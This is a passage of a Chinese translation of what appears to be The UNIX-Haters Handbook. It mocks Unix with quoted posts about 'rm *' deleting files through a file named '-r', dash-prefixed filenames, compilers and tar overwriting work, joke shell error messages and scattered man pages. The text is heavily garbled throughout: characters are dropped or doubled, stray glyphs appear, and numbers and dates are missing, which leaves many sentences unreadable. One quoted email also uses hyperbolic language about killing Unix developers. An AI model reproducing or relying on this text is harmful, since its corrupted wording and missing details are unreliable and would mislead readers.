用 程程 序 的 命 , 但 是 很 惜 ,shell 事 不 像 弗 洛 伦 斯 核 南 丁 格 尔尔 , 倒 像 极<br />
了 糊 涂 大 侦 探探 。<br />
我 们 过 ,shell 执执 行 通 配 符 展展 开 , 就就 是 把把 星 (*) 替 换 成 目 录 中 的<br />
所 有 文 件 , 这 是 第 一 个 缺 陷 该 被被 执执 行 的 程程 序 调 用 函 数 完 成 通 配 符<br />
展展 开 。 惯 程程 序 命 行 选 作 第 一 个 参参 数 , 参参 数 前 一 般 横 线<br />
(-), 这 是 第 二 个 缺 陷 选 ( 开 ) 和 它 参参 数 当 是 独 立立 的 , 比 如 VMS、<br />
DOS、Genera 和 多 它 操 作 系 的 做 法 。 最 Unix 文 件 包 大 多<br />
数 字 符 , 包 括括 非 打 印 字 符 , 这 是 第 个 缺 陷 。 这 些 架 构 决 策 间 还 互 相 掐<br />
架 扩扩 展展 通 配 符 时 ,shell 按按 照 字 序 列 出 文 件 , 而 横 线 (-) 开 头 的 文<br />
件 排排 在 前 , 因 这 些 文 件 就就 成 了 被被 执执 行 程程 序 的 选 , 生 既 无 法 <br />
测 又 出 人 意 料 的 危 险 行 。<br />
期 Wed, Jan : CST<br />
来 自 kgg@lfcs.ed.ac.uk( 斯 核 森森 斯 )<br />
题 回 复 rm *<br />
新 闻 组 alt.folklore.computers<br />
然 就就 有 某 个 怜 学 生 的 故 事 , 他 好 有 个 “-r” 的 程程 序 在 目 录 。 他 想 删 除 所<br />
有 非 目 录 文 件 ( 我 的 ), 所 敲 <br />
% rm *<br />
…盚…盚 结 果 想 而 知 , 一 切 都 不 复 存 在 了 , 除 了 他 深 爱 的 “-r” 文 件 …盚…盚 好 在 我 们 的 备 份<br />
做 得 不 错 。<br />
将将 文 件 显 示 在 屏 幕 是 “cat” 的 一 个 附 带 能 , 而 不 是 “ 真 的 用 途 ”。<br />
<br />
译 注 “Cat came back from Berkeley waving flags” flags 是 双 语 , 既 指指 命 的 标 、 选 , 又<br />
指指 “ 旗 帜 ”。<br />
<br />
译 注 Rob Pike, 贝 尔尔 验 的 Unix 先 驱 一 ,UTF- 的 计 者 。<br />
<br />
译 注 Florence Nightingale( 月 ~ 月 ), 英 国 人 , 欧 美 近 护 理 学 和 护 士<br />
教 育 始 人 一 。 世 生 作 “ 国 护 士 节 ”, 并 将将 国 护 理 界 的 最 高 荣 誉 奖 命 “ 南 丁 格 尔尔<br />
奖 ”。<br />
<br />
译 注 Kees Goossens。
始 终 如 一 的 前 冲 突<br />
· ·<br />
某 些 Unix 害 人 把把 这 个 “ 老 母 鸡 鸭 ” 的 臭 虫 转 换 成 一 个 “ 能 ”,<br />
法 是 在 目 录 中 放 个 “-i” 的 文 件 。 敲 入 “rm *” 被被 shell 扩扩 展展 成 “rm<br />
-i 文挱 件 列 表 ”, 这 命 有 能 在 每 删 除 前 要 求 确 认 。 要 你 不<br />
介 意 在 每 个 目 录 都 放 个 “-i” 的 文 件 , 还 算 不 错 的 法 , 是 或或 我 们 还 <br />
该 修 改 mkdir 命 , 每 建 目 录 时 就就 自 建 “-i” 文 件 , 然 再 修 改 ls 命<br />
, 没没 事 不 要 显 示 这 个 文 件 。<br />
叫 不 出 来掆 的 字<br />
我 们 过 几 个 人 在 命 时 打 错 了 , 因 搞搞 出 一 个 横 线 开 头 的 文<br />
件 <br />
% mv file -file<br />
现 在 想 改 回 来 <br />
% mv -file file<br />
usage: mv [-if] f f or mv [-if] f ... fn d<br />
('fn' is a file or directory)<br />
%<br />
于 毫毫 无 一 致 性 言言 , 别 的 Unix 命 觉 得 这 个 文 件 没没 题 。 例 如<br />
“-le2” 对 Unix 的 “ 标 准 编 辑 ”,ed, 是 法 的 。 命 运 行 <br />
% ed -file<br />
<br />
但 是 就就 算 你 把把 文 件 保 存 别 的 字 , 或或 者 脆 放 并 求 删 除 了 事 , 麻<br />
烦 没没 有 减 少少 <br />
% rm -file<br />
usage: rm [-rif] file ...<br />
% rm ?file<br />
usage: rm [-rif] file ...<br />
% rm ?????<br />
usage: rm [-rif] file ...<br />
% rm *file<br />
usage: rm [-rif] file ...<br />
%<br />
“ed” 的 “” 表表 示 文 件 包 个 字 节 。ed 编 辑 没没 有 提 示 符 。
· · 欢 迎 你 , 新 用 户 !<br />
rm 把把 文 件 的 第 一 个 字 符 ( 横 线 ) 解解 释 命 行 选 , 然 抱抱 怨 字 符<br />
“l” 和 “e” 不 是 常 的 选 。 难 道 这 种 行 看 起 来 还 不 疯 癫 吗 ? 横 线 开 头<br />
的 文 件 , 尤尤 是 这 个 字 还 是 来 自 通 配 符 匹 配 , 然 被被 当 成 选 列 表表 ?<br />
了 删 除 错 误 的 文 件 ,Unix 有 两 种 既 不 搭 调 不 容 的 补补 救 措 施 <br />
% rm - -file<br />
和 <br />
% rm ./-file<br />
rm 命 手手 册 指指 出 , 在 rm 命 和 第 一 个 文 件 间 单 独 放 一 个 横 线 ,<br />
让 rm 把把 所 有 的 横 线 当 成 文 件 而 不 是 选 。 于 某 种 知 的 原原 因 ,<br />
rm 及 表表 mv 都 没没 有 在 用 法 中 提 及 这 个 “ 能 ”。<br />
当 然 了 , 用 横 线 表表 示 “ 请 忽 略 的 横 线 吧 ” 不 是 什 么 世 价 值 , 因 <br />
各 个 程程 序 自 己 完 成 命 解解 释 , 期 间 无 法 借 标 准 程程 序 。 像 tar 一 类 的 命 <br />
用 横 线 表表 示 标 准 输 入 和 标 注 输 出 , 别 的 程程 序 脆 直 接接 拒拒 <br />
% touch -file<br />
touch: bad option -i<br />
% touch - -file<br />
touch: bad option -i<br />
让 朋捰 友 开 心 ! 让 对 手 难 堪 !<br />
Unix 命 的 输 出 一 看 是 有 意 义 的 , 有 开 始 使 用 时 才 意 到 <br />
并 非 如 <br />
next% next% mkdir foo<br />
next% next% ls -Fd foo<br />
foo/<br />
next% next% rm foo/<br />
rm: foo/ directory<br />
next% next% rmdir foo/<br />
rmdir: foo/: File exists<br />
这 有 个 法 让 你 的 朋 友 开 心 一 ( 利 核 克 洛 茨<br />
<br />
提 供 )。 首 先 秘秘 密 敲<br />
入 命 <br />
<br />
译 注 Leigh Klotz。
在 线 文挱 档掳<br />
· ·<br />
% mkdir foo<br />
% touch foo/foo~<br />
然 给 你 的 害 人 见 咒 语 的 厉厉 害 <br />
% ls foo*<br />
foo~<br />
% rm foo~<br />
rm: foo~ nonexistent<br />
% rm foo*<br />
rm: foo directory<br />
% ls foo*<br />
foo~<br />
%<br />
最 是 压 轴 大 戏 <br />
% cat - - -<br />
( 友 情 提 示 按按 ctrl-D 回 到 提 示 符 !)<br />
在 线 文挱 档掳<br />
让 用 户户 阅 读 纸 文 档 , 还 不 如 让 他 们 去去 投 票 选 总 。 真 有 用 的 文 档<br />
是 在 线 的 , 敲 键 或或 者 按按 鼠 标 就就 能 看 到 。 至 于 Unix 文 档 的 状 况 糟 糕 ,<br />
数 稀稀 少少 , 已 经 在 书 赢 得 了 专 门 的 一 , 所 在 这 的 篇 幅 我 们 想 指指<br />
出 Unix 的 手手 册 能 对 新 用 户户 盒 盒 最 需 要 查 阅 手手 册 的 群 体 盒 盒 时 , 是 最<br />
难 用 的 。<br />
人 人 生 而 等 , 命 却 要 分 个 高 贵 贱 有 些 是 被被 某 个 shell 调 用 ,<br />
有 些 却 生 来 就就 是 某 个 shell 的 一 部 分 有 些 有 自 己 的 手手 册 , 有 些 却 没没 有 盒 盒<br />
Unix 指指 望 你 知 道 的 谁 是 谁 。 举 个 例 子 ,wc、cp 和 ls 属属 于 前 者 而 且 有<br />
手手 册 描 述 , 但 fg、jobs、set 和 alias( 这 些 长 字 怎 么 来 的 ?) 属属 于 者 , 没没<br />
有 独 立立 的 手手 册 。<br />
有 人 告 一 个 新 用 户户 , 用 “man command” 获 得 命 文 档 , 但 她 迅<br />
陷 入 茫 , 因 有 些 命 有 文 档 , 有 些 却 没没 有 , 如 果 再 她 的 shell 和<br />
第 方 书 籍 中 的 载 不 , 那 么 除 了 请 教 高 手手 , 简 直 没没 有 别 的 法 让 她 开<br />
窍窍 。<br />
这 我 们 很 小小 心 ,“ 某 个 shell” 而 不 是 “Unix shell”, 因 Unix 没没 有 标 准 的 shell。
· · 欢 迎 你 , 新 用 户 !<br />
错 误 信 息 和 错 误 检掽 查掝 ? 这 个 真 没 有捯 !<br />
新 手手 必 要 犯 错 误 , 要 么 是 用 错 命 , 要 么 命 确 但 用 错 参参 数 和 选<br />
。 计 算 机 必 检 查 类 错 误 并 且 报 告 给 用 户户 。 但 倒 霉 的 Unix 程程 序 从 来 不<br />
想 麻 烦 自 己 , 相 反 故 意 让 错 误 成 一 团 , 最 酿 成 大 祸 。<br />
一 节 我 们 展展 示 了 使 用 rm 命 误 删 文 件 是 多 么 容 易 , 但 你 能 还 没没 有<br />
意 到 , 即 使 不 用 rm, 误 删 文 件 很 容 易 。<br />
想 删 除 文挱 件 么 ? 试 试 编 译 器<br />
某 些 版 的 cc 命 放 着 明 显 错 误 的 输 入 不 管 , 反 而 来 就就 把把 前 的 输<br />
出 文 件 删 除 了 事 。 科 生 常 常 着 了 道 。<br />
期 Thu, Nov :: GMT<br />
来 自 tk@dcs.ed.ac.uk( 托托 米 核 凯 利 )<br />
题 救 命 啊 !<br />
新 闻 组 cs.questions <br />
组 英 国 爱 丁 堡 计 算 机 科 学 基 础 验 <br />
我 才 想 这 么 编 译 程程 序 <br />
% cc -o doit doit.c<br />
不 小小 心 敲 成 了 <br />
% cc -o doit.c doit<br />
不 用 我 的 doit.c 被被 冲 掉 了 。<br />
有 法 恢 复 我 的 程程 序 吗 ( 整 整 一 个 午 的 心 血血 啊 )?<br />
:-(<br />
别 的 程程 序 有 类 似 行 :<br />
期 Thu, July :: - <br />
来 自 尼 尔尔 核 魏 斯 <br />
发发 给 UNIX 痛 者<br />
题 好 好 的 压 缩 包 , 没没 了<br />
几 经 力 , 我 总 算 从 欧 洲 一 个 脆 弱 的 ftp 站 点 载 了 了 一 个 .M 的 文 件 。 该 解解 包 了 , 我<br />
敲 入 命 <br />
% tar -cf thesis.tar<br />
…盚…盚 没没 反 。<br />
<br />
译 注 Tommy Kelly。<br />
保 罗 核 道 内 希 (Paul Dourish) 转 发发 到 UNIX 痛 者 , 并 补补 道 “ 在 研 究 生 第 一 就就 对 差 的 计 有<br />
切 身 体 , 我 觉 得 这 是 件 好 事 。”<br />
<br />
译 注 Lab for the Foundations of Computer Science,Edinburgh UK。
错 误 信 息 和 错 误 检掽 查掝 ? 这 个 真 没 有捯 !<br />
· ·<br />
老 !<br />
是 不 是 该 用 “x” 选 而 不 是 “c”?<br />
是捔 的 。<br />
tar 是 不 是 给 出 了 错 误 信 息 没没 有 指指 输 入 文 件 ?<br />
没 有捯 。<br />
tar 是 否 感 觉 到 有 什 么 不 对 ?<br />
没 有捯 。<br />
tar 是 不 是 真 的 没没 有 给 任 何 文 件 打 包 ?<br />
是捔 的 。<br />
tar 是 否 把把 thesis.tar 用 垃 圾 覆 了 ?<br />
当 然 , 这 就 是捔 Unix。<br />
我 是 不 是 需 要 再 花 分 钟 从 欧 洲 载 这 个 文 件 ?<br />
当 然 , 这 就 是捔 Unix。<br />
真 是 让 人 吃 惊 。 我 敢 肯 不 少少 人 都 中 过 招 , 鉴 于 tar 就就 站 在 球 门 线 盒 盒 报 告 错 误 、<br />
保 存 文 件 版 , 及 覆 前 让 用 户户 确 认 一 , 等 等 等 等 盒 盒 我 觉 得 这 个 球 打 比 打 飞<br />
更 容 易 。<br />
对 于 用 tar 备 份 的 系 管 理 员 来 , 这 个 臭 虫 更 是 危 险 。 不 一 个 管 理<br />
员 犯 过 这 的 错 误 在 备 份 脚 中 使 用 “tar xf...” 而 不 是 “tar cf...”。<br />
这 对 是 个 错 误 。 对 旋 转 的 磁 带 , 管 理 员 毫毫 不 疑 tar 在 写 入 备 份 ,<br />
谁 知 tar 在 读 内 容 。 一 切 都 和 计 划 一 常 , 直 到 某 确 <br />
需 要 恢 复 一 个 文 件 时 , 所 有 人 都 大 吃 一 惊 , 原原 来 磁 带 没没 有 备 份 任 何 东<br />
西 。<br />
Unix 提 供 了 多 “ 程程 序 员 ”, 但 于 很 少少 或或 者 脆 没没 有 错 误 检 查 ,<br />
反 而 让 高 级 用 户户 有 多 机 丢 失 要 信 息 。<br />
期 Sun, Oct :: PDT<br />
来 自 帕 维 尔尔 核 柯 蒂 斯 <br />
发发 给 UNIX 痛 者<br />
题 那 么 多 混 蛋 该 杀 …盚…盚<br />
我 有 一 个 不 间 断 运 行 的 程程 序 foo, 能 是 提 供 网 服 , 并 且 每 隔 小小 时 检 查 自 身 内 部<br />
状 。<br />
一 , 我 入 foo 程程 序 文 件 所 在 的 目 录 , 因 这 不 是 开 发发 目 录 , 我 手手 贱 想 看 看 foo 的 版<br />
是 多 少少 。 版 是 RCS, 所 我 自 然 而 然 地 使 用 了 命 <br />
% ident foo<br />
的 是 看 看 运 行 程程 序 包 了 哪 些 源 码 的 哪 些 版 。 先 别 管 RCS 的 种 种 劣 , 别 管<br />
ident 的 作 方 式 如 何 原原 始 , 这 我 的 麻 烦 更 大 , 我 的 手手 指指 自 行 是 地 选 择 了 更 像 单 词 的<br />
“indent” 而 不 是 “ident”<br />
% indent foo<br />
然 我 知 道 了 ,Unix 有 个 脑 残 的 想 法 盒 盒 用 程程 序 美 化 C 码 盒 盒 而 indent 就就 是 言言<br />
人 。 写 出 这 个 怪 胎 的 的 混 蛋 到 考 虑 过 没没 有 , 是 不 是 该 检 查 输 入 文 件 是 真 的 C 程程 序<br />
( 哪 , 至 少少 看 看 文 件 的 缀 是 否 .c 吧 )? 答 案 不 用 我 讲 。 而 且 这 个 SB 认 , 如 果
· · 欢 迎 你 , 新 用 户 !<br />
给 一 个 参参 数 , 那 么 你 肯 是 想 “ 就就 地 ” 行 美 化 , 就就 是 覆 原原 来 的 内 容 。 不 过 别 着<br />
急 , 这 个 SB 知 道 能 有 麻 烦 , 所 保 存 了 一 个 备 份 foo.BAK。 然 而 他 是 否 是 简 单 地<br />
把把 foo 换 个 字 呢 ? 当 然 不 是 , 他 的 法 “ 好 ” 得 多 拷拷 贝 foo 的 所 有 内 容 到 foo.BAK,<br />
再 把把 foo 清 空空 , 而 不 是 把把 美 化 结 果 输 出 到 一 个 新 文 件 。 混 蛋 。<br />
你 能 知 道 这 个 小小 故 事 想 什 么 了 吧 …盚…盚<br />
现 在 , 当 一 个 运 行 中 的 Unix 程程 序 在 换 出 执执 行 文 件 的 页 时 , 发发 现 的 内 容 已 经<br />
乱 套 了 , 这 不 是 什 么 好 事 。 体 地 讲 , 程程 序 崩 溃 , 来 势 汹汹 汹汹 并 且 别 想 恢 复 。 我 就就 损<br />
失 了 个 小小 时 的 程程 序 状 信 息 。<br />
自 然 , 那 些 计 ( 咳 …… 咳 ……)Unix 的 混 蛋 们 对 复 杂 的 版 式 文 件 系 不 感 趣 , 而<br />
这 个 能 原原 能 救 我 的 命 。 那 些 混 蛋 从 想 到 过 对 在 页 换 出 的 文 件 锁 , 是 不<br />
是 ?<br />
有 那 么 多 混 蛋 该 杀 , 什 么 不 把把 他 们 都 宰 了 ?<br />
帕 韦 尔尔<br />
假 有 一 种 用 于 外 的 油 漆 , 在 燥 时 散 发发 出 氯氯 气 , 按按 照 明 使 用 当<br />
然 不 成 题 , 但 如 果 刷 在 你 家 卧卧 的 墙 壁 , 你 的 脑 袋袋 就就 要 大 了 。 你 觉 得 这<br />
的 油 漆 能 在 市 场 存 活 多 久 呢 ? 当 然 不 ( 像 Unix 那 ) 超 过 二 十十 。<br />
错 误 信 息 笑 话 集<br />
看 到 饭 馆 计 把把 满 是 餐 的 托托 撒 在 地 时 , 你 笑 么 ?Unix 粉 丝 <br />
的 。 无 的 用 户户 对 和 输 入 风 马 牛 不 相 及 的 错 误 信 息 而 百 思 不 得 解解 时 , 他<br />
们 是 最 先 笑 出 声 的 。<br />
有 人 把把 Unix 最 笑 的 错 误 信 息 当 成 笑 出 版 。 内 容 来 自 Usenet,<br />
作 者 不 考 。 他 们 使 用 的 是 C Shell.<br />
% rm meese-ethics<br />
rm: messe-ethics nonexistent<br />
% ar m God<br />
ar: God does not exist<br />
% "How would you rate Dan Quayle's incompetence?<br />
Unmatched".<br />
% ^How did the sex change^ operation go?<br />
Modifier failed.<br />
% If I had a ( for every $ the Congress spent, what would I have?<br />
Too many ('s<br />
毫毫 无 疑 , 编 写 indent 的 程程 序 员 所 选 择 这 种 行 , 是 想 保 持 输 入 输 出 文 件 字 一 , 他 已 经 打<br />
开 了 输 入 文 件 , 并 且 rename 系 调 用 最 初 是 没没 有 的 。
Unix 态 度<br />
· ·<br />
% make love<br />
Make: Don't know how to make love. Stop.<br />
% sleep with me<br />
bad character<br />
% got a light?<br />
No match<br />
% man: why did you get a divorce?<br />
man:: Too many arguments.<br />
% ^What is saccharine?<br />
Bad substitute.<br />
% % blow<br />
%blow: No such job.<br />
是 Bourne Shell 的 命 运 行 结 果 <br />
$ PATH=pretending! /usr/ucb/which sense<br />
no sense in pretending<br />
$ drink matter<br />
matter: cannot create<br />
Unix 态 度<br />
我 们 已 经 绘 制 出 一 幅 十十 分 黑 暗 的 图 命 命 神 秘秘 难 懂 、 命 行 彼<br />
矛 盾 且 无 法 测 、 危 险 命 缺 少少 保 护 、 在 线 文 档 品 , 及 对 待 错 误<br />
检 查 和 码 健 壮 性 的 散 漫 松 懈 。 那 些 Unix 大 楼楼 的 来 得 不 到 热 情 款 待 , 他<br />
们 不 是 迪 斯 尼 园 中 的 游 , 更 像 是 联 国 维 和 部 队 在 第 世 界 国 家 执执 勤勤 。<br />
Unix 怎 么 搞搞 成 这 个 子 ? 我 们 已 经 指指 出 , 中 一 部 分 原原 因 历 史 。 然<br />
而 还 有 外 一 部 分 原原 因 那 就就 是 多 来 让 Unix 得 塑 和 扩扩 张 的 文 化 , 这<br />
种 文 化 被被 称 “Unix 哲 学 ”。<br />
Unix 哲 学 不 是 写 在 贝 尔尔 验 或或 Unix 系 验 手手 册 的 书 建 ,<br />
而 是 一 套 独 立立 的 道 德 伦 理 , 中 包 了 多 人 的 献 。 唐 核 利 比 斯<br />
<br />
和 山山 迪 核<br />
<br />
译 注 Don Libes。
· · 欢 迎 你 , 新 用 户 !<br />
瑞 斯 勒<br />
<br />
的 著 作 ,《Unix 人 生 》 [] (Prentice Hall,), 对 Unix 哲 学 总 结<br />
得 尤尤 到 <br />
• 小小 即 是 美 。<br />
• 用 % 的 作 完 成 % 的 任 。<br />
• 如 果 必 作 出 选 择 , 选 择 更 简 单 的 那 个 。<br />
但 据据 Unix 程程 序 和 的 表表 现 , 总 结 更 准 确 <br />
• 小小 的 程程 序 比 对 的 程程 序 更 称 心 如 意 。<br />
• 粗 制 滥 完 全 接接 。<br />
• 如 果 必 作 出 选 择 , 选 择 任 更 小小 的 那 个 。<br />
Unix 没没 有 哲 学 ,Unix 有 度 。 这 个 度 指指 出 , 粗 制 滥 的 半半 成 品 胜<br />
过 精 致 复 杂 的 完 成 品 这 个 度 又 指指 出 , 和 庞 大 的 用 户户 群 体 相 比 , 程程 序 员 的<br />
时 间 更 贵 这 个 度 还 指指 出 , 达 到 最 要 求 就就 足 够 了 。<br />
期 Sun, Dec :: EST<br />
来 自 戴 维 核 查 曼 <br />
发发 给 UNIX 痛 者<br />
题 中 作 业 Unix 的 计 范 式<br />
我 最 近 学 了 如 何 在 Unix 中 作 业 。 在 这 个 过 程程 中 我 体 到 了 不 少少 Unix 的 强 大 和 智<br />
慧 , 我 想 该 和 大 家 分 享 一 。<br />
当 然 你 们 中 的 大 多 数 不 用 Unix, 所 知 道 如 何 让 Unix 中 作 业 估 计 没没 什 么 用 。 但 是 , 你<br />
们 中 的 一 些 人 , 像 我 , 能 经 常 运 行 一 些 TEX 作 业 , 那 么 学 这 个 技 就就 显 得 尤尤 <br />
要 了 。 不 哪 种 情 况 , 于 Unix 严 格 贯 彻 了 “kill” 命 体 现 的 计 原原 , 所 这 个 帖 子<br />
又 有 了 更 遍 的 意 义 。<br />
在 Unix 中 你 用 ^Z 挂 起 一 个 作 业 , 或或 者 用 ^C 中 一 个 作 业 。 但 是 LATEX 自 己 截截 获 ^C,<br />
结 果 我 经 常 搞搞 出 一 堆 LATEX 任 。 我 对 倒 不 在 , 还 是 觉 得 想 法 掉 它 们 比 较 好 。<br />
多 操 作 系 有 “kill” 命 ,Unix 不 例 外 。 大 多 数 操 作 系 的 “kill” 直 接接 结 <br />
程程 , 但 Unix 的 计 通 用 得 多 “kill” 命 向 进 程 发 送 一 个 消 息 , 这 体 现 了 Unix 的 第 一 个<br />
计 原原 <br />
• 让 操 作 对 所 有 人 通 用 , 从 而 将将 权 力 赋 予 一 般 用 户户 。<br />
“kill” 命 能 很 是 强 大 , 允 用 户户 给 程程 发发 各 种 各 的 消 息 , 比 如 , 用 户户 发发 <br />
一 消 息 让 程程 自 杀 。 这 个 消 息 是 -, 当 然 , 在 单 个 数 字 组 成 的 消 息 中 ,- 是 最 大 的 ,<br />
这 体 现 了 Unix 一 个 要 的 计 原原 <br />
• 使 用 体 现 能 的 简 单 字 。<br />
<br />
译 注 Sandy Ressler。
Unix 态 度<br />
· ·<br />
在 我 知 道 的 它 操 作 系 , 不 带 参参 数 的 “kill” 用 于 中 当 前 作 业 。 然 而 Unix 的<br />
“kill” 总 是 需 要 作 业 参参 数 。 这 个 明 智 的 计 决 策 体 现 了 一 个 明 智 的 计 准 <br />
• 使 用 长 命 , 或或 者 要 求 确 认 危 险 操 作 , 用 户户 不 小小 心 扭 伤 自 己 。<br />
体 现 这 些 计 原原 的 Unix 用 程程 序 数 不 胜 数 , 所 我 不 需 要 一 一 列 举 了 , 是 能 在<br />
谈 及 Unix 如 何 现 登 出 和 文 件 删 除 时 提 到 。<br />
在 它 我 知 道 的 操 作 系 ,“kill” 接接 的 参参 数 是 作 业 。 这 个 接接 是 不 完 备 的 , 因 <br />
能 时 运 行 的 多 LATEX 任 都 有 的 作 业 “latex”, 所 “kill - latex”<br />
能 生 义 。<br />
和 它 操 作 系 一 ,Unix 提 供 一 个 列 出 作 业 的 命 “jobs”, 是 一 个 例 子 <br />
zvona@rice-chex> jobs<br />
[] - Stopped latex<br />
[] - Stopped latex<br />
[] + Stopped latex<br />
这 你 用 作 业 ( 表表 示 在 方 括括 中 ) 标 一 个 LATEX 任 。<br />
如 果 到 那 些 粗 糙 的 操 作 系 的 毒 害 , 你 能 想 用 “kill - ” 来 杀 掉 第 一 个 LATEX 任<br />
, 但 你 看 到 这 亲 切 的 错 误 信 息 <br />
zvona@rice-chex> kill - <br />
: not owner<br />
kill 命 的 确 参参 数 是 进 程 号 , 比 如 。 你 用 “ps” 命 获 得 作 业 的 程程 。 当<br />
找 到 了 相 程程 , 你 要 <br />
zvona@rice-chex> kill - <br />
zvona@rice-chex><br />
[] Killed latex<br />
请 注 意 在 任 被被 真 中 之 前 ,Unix 就就 显 示 了 提 示 符 ( 用 户户 输 入 出 现 在 “[]” 所 在 行<br />
之 )。 这 又 体 现 了 一 个 Unix 计 原原 <br />
对 于 给 用 户户 的 反 馈 , 能 少少 不 多 , 能 晚 不 , 免 过 多 信 息 导 致 用 户户 脑 损 伤 。<br />
我 希 望 这 些 体 能 对 大 家 有 用 。 在 这 一 学 过 程程 中 , 我 自 己 当 然 被被 Unix 的 计 哲 学 深<br />
深 吸 引 了 。 我 们 都 该 从 Unix kill 命 的 、 强 大 和 简 洁 中 学 到 些 东 西 。
第 章 你 说 文挱 档掳 吗 ?<br />
什 么 文挱 档掳 ?<br />
“ 使 用 Unix 行 操 作 系 教 学 有 一 个 好 处 , 那 就就 是 学 生 的 书 包 装装 得 <br />
所 有 码 和 文 档 。”<br />
盒 盒 约 翰 核 昂 斯 , 新 南 威 尔尔 士 大 学 , 谈 Unix 版 时 <br />
的 一 段 。<br />
多 来 , 获 得 Unix 知 有 个 简 单 途 径 :<br />
. 阅 读 源 码 。<br />
. 自 己 写 一 个 Unix。<br />
. 给 Unix 程程 序 的 作 者 打 电 ( 或或 是 发发 邮 件 )。<br />
就就 像 荷 马 史 诗 一 ,Unix 的 智 慧 相 传 。 每 个 严 肃 认 真 的 Unix 用 户户<br />
都 是 内 黑 盒 盒 或或 者 在 身 边 有 个 触触 手手 及 的 内 黑 。 真 写 来 的 所<br />
谓 文 档 盒 盒 即 臭 昭 著 的 Unix“ 手手 册 页 ” 盒 盒 不 过 是 一 些 已 经 知 道 自 己 在<br />
做 什 么 的 人 所 收 的 备 录 。Unix 的 文 档 谓 言言 简 意 赅 , 一 午 你 就就 能 读<br />
完 。<br />
在 线 文挱 档掳<br />
Unix 文 档 系 的 开 端 是 man 程程 序 , 这 个 程程 序 很 袖袖 珍 , 能 是 接接 输 入 参参<br />
数 、 找 到 相 的 文 档 文 件 、 将将 和 “man” 宏 ( 用 于 文 格 式 化 , 在 地 球 <br />
仅 一 处 使 用 ) 一 道 通 过 管 道 传 递 给 nroff, 最 将将 结 果 发发 到 pg 或或 more。<br />
起 先 , 这 些 零 碎 文 档 被被 做 “ 手手 册 页 ”, 因 每 个 程程 序 的 文 档 多 一<br />
页 右 ( 经 常 少少 于 一 页 )。<br />
<br />
译 注 John Lions。
· · 你 说 文挱 档掳 吗 ?<br />
man 对 于 它 的 时 是 伟 大 的 , 但 那 个 时 已 经 过 去去 了 。<br />
经 累 月 的 发发 展展 让 手手 册 页 慢 慢 成 熟 了 。man 并 没没 有 像 Unix 的 它 部<br />
分 一 搞搞 得 码 混 乱 程程 序 难 懂 , 这 值 得 称 道 , 但 一 方 man 的 有 用 程程 度<br />
没没 有 什 么 改 观 。 事 , 在 长 达 中 ,Unix 的 在 线 文 档 系 有 两<br />
处 大 改 :<br />
. catman, 程程 序 员 曾 “ 惊 喜 ” 地 发发 现 , 于 手手 册 页 的 存 储 方 式 , 他 们<br />
既 选 择 nroff 源 文 件 , 选 择 处 理 的 文 件 , 这 能 够 快 文<br />
档 的 显 示 度 。<br />
考 虑 今 的 高 处 理 ,catman 已 经 没没 有 用 处 了 , 但 那 些 nroff 处 理<br />
的 文 件 仍 然 占 据据 着 磁 空空 间 。<br />
. makewhatis、apropos 和 key 程程 序 ( 来 成 man -k 的 行 ), 这 套 <br />
先 手手 册 页 建 索 引 , 因 就就 算 不 确 切 标 题 , 用 户户 <br />
检 索 程程 序 的 手手 册 页 ( 不 过 在 销 售 时 , 眼 多 Unix 版 禁 用 了 这 些<br />
, 如 果 某 个 真 的 用 户户 试 着 运 行 , 看 到 一 段 混 不 清 的 错 误 信<br />
息 )。<br />
与 时 , 电 子 出 版 业 的 发发 展展 已 超 过 了 手手 册 页 。 使 用 今 的 超 文 <br />
系 , 如 果 你 想 要 在 庞 大 数 据据 中 跳 转 于 两 篇 文 间 , 需 按按 鼠 标 即<br />
与 相 比 , 手手 册 页 仅 仅 在 尾 提 供 “SEE ALSO” 一 节 , 让 用 户户 自 己 再<br />
据据 提 示 继 续 敲 击 “man something else”。 在 线 文 档 的 索 引 能 又 是 如<br />
何 呢 ? 今 你 买 到 光 版 的 牛 津 英 语 词 , 每 个 单 词 都 有 索 引 然<br />
而 手手 册 页 还 是 停 留 在 对 命 和 描 述 行 行 索 引 。 今 甚 至 DOS 都 提<br />
供 了 有 索 引 的 超 文 在 线 文 档 , 然 而 手手 册 页 还 是 按按 照 DEC 打 印 端 的 方<br />
式 , 把把 文 档 格 式 化 每 页 列 行 。<br />
于 是 自 然 而 然 地 , 有 些 厂厂 商 看 不 去去 了 , 开 始 自 己 编 写 超 文 在 线 文 档<br />
系 。 在 这 些 系 , 要 么 man 程程 序 成 化 的 死 角 , 手手 册 页 处 于 无<br />
人 维 护 的 状 , 要 么 脆 二 者 一 起 消 失 。<br />
“ 知 道 就 在 这 里 …… 的 掙 个 地 方挻 ”<br />
对 于 今 还 在 使 用 手手 册 页 的 人 来 , 最 大 的 题 是 告 man 程程 序 手手<br />
册 页 的 置 。 要 搁搁 前 这 不 是 题 都 在 /usr/man。 来 页 按按 分 散 到<br />
不 目 录 /usr/man/man1、/usr/man/man2、/usr/man/man3 等 等 。 有 的 系<br />
甚 至 建 了 /usr/man/manl 用 于 保 存 “ 地 ” 页 。
在 线 文挱 档掳<br />
· ·<br />
当 AT&T 发发 布 System V 的 时 候 , 情 况 得 解解 了 。/usr/man/man1 目 录<br />
成 了 /usr/man/c_man, 似 想 一 个 字 母 比 一 个 数 字 更 好 。 在 有 些 系<br />
,/usr/man/manl 成 了 /usr/local/man。 那 些 销 售 Unix 用 程程 序 的 <br />
开 始 建 立立 自 己 的 man 目 录 。<br />
最 伯 克 利 修 改 了 man 程程 序 , 使 能 据据 环 境 MANPATH 查 找 一 组<br />
目 录 。 这 是 个 伟 大 的 想 法 , 有 一 个 小小 毛毛 病 不 能 作 。<br />
期 Wed, Dec :: -<br />
来 自 Rainbow Without Eyes<br />
发发 给 UNIX 痛 者<br />
题 手手 册 页 , 手手 册 页 , 谁 有 手手 册 页 ?<br />
那 些 对 Unix 比 较 熟 悉 的 网 友 们 , 你 们 都 知 道 有 些 在 线 手手 册 页 放 在 /usr/man, 要 搜搜 索 某<br />
个 函 数 相 的 文 档 , 这 是 个 不 错 的 起 点 。 所 昨 我 想 找 到 lockf(3) 的 页 盒 盒 看 看<br />
lockf 的 移移 植植 性 究 差 到 什 么 地 盒 盒 时 , 我 在 SGI Indigo 机 输 入 了 命 <br />
michael: man lockf<br />
没没 反 , 所 我 开 始 检 查 /usr/man 盒 盒 尽 管 我 知 道 页 能 在 别 的 地 方 , 并 且 知 道 机 <br />
的 MANPATH 已 经 包 了 /usr/man( 包 了 我 在 别 的 系 找 到 过 有 用 页 的 所 有<br />
路 径 )。<br />
我 希 望 看 到 这 的 输 出 <br />
